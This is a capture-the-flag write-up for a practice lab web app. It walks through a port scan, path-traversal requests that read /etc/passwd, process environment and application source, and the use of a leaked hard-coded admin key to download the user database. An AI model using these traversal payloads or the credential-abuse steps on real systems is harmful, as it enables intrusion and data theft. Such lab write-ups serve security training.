Writeups
THM ValenFind
Recon:
We first get all our exposed ports from Nmap, to see what we can work with. We then use BurpSuite to check the content of GET and then craft POST.
nmap -sV -sC -v 10.67.184.69
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 99:cc:91:ea:76:6d:8d:c6:65:58:9e:d4:da:2c:28:e8 (ECDSA)
|_ 256 56:fd:40:08:68:e0:fc:1d:48:2f:48:a9:c8:9b:6d:6c (ED25519)
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-title: ValenFind - Secure Dating
|http-server-header: Werkzeug/3.0.1 Python/3.12.3
| http-methods:
| Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We open the website in Burp suites and make an account
We intercept a profile page when it calls out for the style.css and then we try to go back a few directory see if the layout is properly sanitized
GET /api/fetch_layout?layout=/../../../../../../../etc/hosts HTTP/1.1
Host: 10.67.184.69:5000
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.67.184.69:5000/profile/casanova_official
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJsaWtlZCI6W10sInVzZXJfaWQiOjEwLCJ1c2VybmFtZSI6IndlaW5lciJ9.aZX-pw.t7cJwRx-gFStQF65KMDbAbfz3aE
Connection: keep-alive
And we get:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Wed, 18 Feb 2026 18:03:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 221
Connection: close
127.0.0.1 localhost
The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
So we probably cam just get the flag wherever it is
Lets try a few more calls we try /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
polkitd:x:997:997:User for polkitd:/:/usr/sbin/nologin
We do some extra IDOR with /../../../../../roc/self/cmdline
/usr/bin/python3/opt/Valenfind/app.py
../proc/self/environ
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/binUSER=rootLOGNAME=rootHOME=/rootSHELL=/usr/bin/bashINVOCATION_ID=b52f19bf878549d8bdd562f3763f3f1bJOURNAL_STREAM=9:5820SYSTEMD_EXEC_PID=614MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/valenfind.service/memory.pressureMEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=PYTHONUNBUFFERED=1
../proc/self/mem
Errors #### ../opt/Valenfind/app.py - that we retrieved earlier ## Large block of code incoming:
import os
import sqlite3
import hashlib
from flask import Flask, render_template, request, redirect, url_for, session, send_file, g, flash, jsonify
from seeder import INITIAL_USERS
app = Flask(__name__)
app.secret_key = os.urandom(24)
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = 'cupid.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def init_db():
if not os.path.exists(DATABASE):
with app.app_context():
db = get_db()
cursor = db.cursor()
cursor.execute('''
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
real_name TEXT,
email TEXT,
phone_number TEXT,
address TEXT,
bio TEXT,
likes INTEGER DEFAULT 0,
avatar_image TEXT
)
''')
cursor.executemany('INSERT INTO users (username, password, real_name, email, phone_number, address, bio, likes, avatar_image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', INITIAL_USERS)
db.commit()
print("Database initialized successfully.")
@app.template_filter('avatar_color')
def avatar_color(username):
hash_object = hashlib.md5(username.encode())
return '#' + hash_object.hexdigest()[:6]
# --- ROUTES ---
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
try:
cursor = db.cursor()
cursor.execute('INSERT INTO users (username, password, bio, real_name, email, avatar_image) VALUES (?, ?, ?, ?, ?, ?)',
(username, password, "New to ValenFind!", "", "", "default.jpg"))
db.commit()
user_id = cursor.lastrowid
session['user_id'] = user_id
session['username'] = username
session['liked'] = []
flash("Account created! Please complete your profile.")
return redirect(url_for('complete_profile'))
except sqlite3.IntegrityError:
return render_template('register.html', error="Username already taken.")
return render_template('register.html')
@app.route('/complete_profile', methods=['GET', 'POST'])
def complete_profile():
if 'user_id' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db = get_db()
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile setup complete! Time to find your match.")
return redirect(url_for('dashboard'))
return render_template('complete_profile.html')
@app.route('/my_profile', methods=['GET', 'POST'])
def my_profile():
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile updated successfully! ✅")
return redirect(url_for('my_profile'))
user = db.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],)).fetchone()
return render_template('edit_profile.html', user=user)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
if user and user['password'] == password:
session['user_id'] = user['id']
session['username'] = user['username']
session['liked'] = []
return redirect(url_for('dashboard'))
else:
return render_template('login.html', error="Invalid credentials.")
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
profiles = db.execute('SELECT id, username, likes, bio, avatar_image FROM users WHERE id != ?', (session['user_id'],)).fetchall()
return render_template('dashboard.html', profiles=profiles, user=session['username'])
@app.route('/profile/<username>')
def profile(username):
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
profile_user = db.execute('SELECT id, username, bio, likes, avatar_image FROM users WHERE username = ?', (username,)).fetchone()
if not profile_user:
return "User not found", 404
return render_template('profile.html', profile=profile_user)
@app.route('/api/fetch_layout')
def fetch_layout():
layout_file = request.args.get('layout', 'theme_classic.html')
if 'cupid.db' in layout_file or layout_file.endswith('.db'):
return "Security Alert: Database file access is strictly prohibited."
if 'seeder.py' in layout_file:
return "Security Alert: Configuration file access is strictly prohibited."
try:
base_dir = os.path.join(os.getcwd(), 'templates', 'components')
file_path = os.path.join(base_dir, layout_file)
with open(file_path, 'r') as f:
return f.read()
except Exception as e:
return f"Error loading theme layout: {str(e)}"
@app.route('/like/<int:user_id>', methods=['POST'])
def like_user(user_id):
if 'user_id' not in session:
return redirect(url_for('login'))
if 'liked' not in session:
session['liked'] = []
if user_id in session['liked']:
flash("You already liked this person! Don't be desperate. 😉")
return redirect(request.referrer)
db = get_db()
db.execute('UPDATE users SET likes = likes + 1 WHERE id = ?', (user_id,))
db.commit()
session['liked'].append(user_id)
session.modified = True
flash("You sent a like! ❤️")
return redirect(request.referrer)
@app.route('/logout')
def logout():
session.pop('user_id', None)
session.pop('liked', None)
return redirect(url_for('index'))
@app.route('/api/admin/export_db')
def export_db():
auth_header = request.headers.get('X-Valentine-Token')
if auth_header == ADMIN_API_KEY:
try:
return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
except Exception as e:
return str(e)
else:
return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403
if __name__ == '__main__':
if not os.path.exists('templates/components'):
os.makedirs('templates/components')
with open('templates/components/theme_classic.html', 'w') as f:
f.write('''''') with open('templates/components/theme_modern.html', 'w') as f: f.write('''''') with open('templates/components/theme_romance.html', 'w') as f: f.write('''
''') init_db() app.run(debug=False, host='0.0.0.0', port=5000)
#First we have some credentials but also an interesting app function from this source code
@app.route('api/admin/export_db')
def export_db():
auth_header = request.headers.get('X-Valentine-Token')
if auth_header == ADMIN_API_KEY:
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = 'cupid.db'
We make our auth token
X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO
Use burp to call api/admin/export_db with our token
We get the .db file and we cat it for our flag
#### root flag >THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}
Notes:
This is mostly a insecure direct object reference(or IDOR), this allows us to have access to files we shouldn’t have access to. In this case the app.py also allows us to have access to hard-coded credentials. Never hard-code credentials.
Tools:
- Nmap is the gold standard for port scanning tools.
- Burp suite The most known and used online exploitation tool, its great for both analysis and easily crafting segments/datagrams. This is obviously a non exhaustive list of its capability. Must-have.